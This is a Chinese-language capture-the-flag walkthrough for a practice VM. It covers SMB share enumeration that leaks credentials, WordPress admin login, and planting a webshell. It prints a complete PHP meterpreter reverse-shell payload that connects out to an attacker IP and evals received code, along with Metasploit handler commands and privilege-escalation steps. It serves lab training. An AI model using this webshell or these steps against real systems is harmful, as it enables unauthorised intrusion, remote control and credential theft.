ctf训练 SMB信息泄露
SMB介绍
SMB (Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba
。
SMB协议是基于TCP - NETBIOS下的,一般端口使用为139,445
SMB协议,计算机可以访问网络资源,下载对应的资源文件
实验环境
一台kail攻击机 和 靶机
靶机镜像:
https://pan.baidu.com/s/12R-yG9Ra8CfAzgWbdyQRmg
提取码:b2ot
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意
:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
信息探测
对于只是给定一个对应IP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。
渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限
- nmap -A -v -T4 IP 挖掘靶场全部信息
- nmap -sV IP 挖掘开放服务信息
我们发现目标靶机有22,80,139,445,3306这几个可能有用的端口开放,其中139和445是开放SMB服务的。
分析探测结果
每一个服务对应计算机的一个端口,用来进行通信。常用端0~1023端口,在扫描结果中查找特殊端口
针对特殊端口进行探测,尤其对开发大端口的http服务进行排查;
针对SMB协议弱点分析
1.实过SMB协议。使用空口令
,若口令尝试登陆,并查看敏感
- smbclient -L IP
输入口令时,直接敲回车,然后得到下面三个文件名,
然后接着探测这三个文件,使用如下命令
- smbclient ‘\IP$share’
最后发现只有share下才有内容,这里关注一下deets.txt和wordpress
然后使用如下命令
get敏感文件
查看文件内容,这里找到一个密码信息:12345
然后接下来查看wordpress
这里额外关注wp-config.php
查看文件内容
得到了一个数据库的用户名和密码
这里获取到的两个敏感信息或许到后面有用,故记录下来
2.针对SMB协议远程溢出漏洞进行分析;
- searchsploit samba版本号
这里并没有结果
针对HTTP协议弱点分析
2.使用dirb nikto探测;
1.浏览器查看网站;
访问网站,使用之前得到的数据库用户名和密码
3.寻找突破点,目标登录后台,上传webshell;
制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=kali_ip lport=4444 -f raw
将<?php /**/ error_reporting(0); $ip = '192.168.43.96'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
复制下来,然后写入webshell.php
启动监听
使用msf,
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport4444
msf exploit(handler) > run
上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。执行webshell(访问具有webshell的php页面)
获得反弹的shell
– wordpress上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php
查找flag信息
优化终端: python -c “import pty; pty.spawn(” /bin/bash")'查找敏感信息,提升root权限,查看flag值。
查找用户名: cat /etc/passwd
查找密码:在共享目录下的敏感文件,提升权限
– su用户名
– sudo -l
– su sudo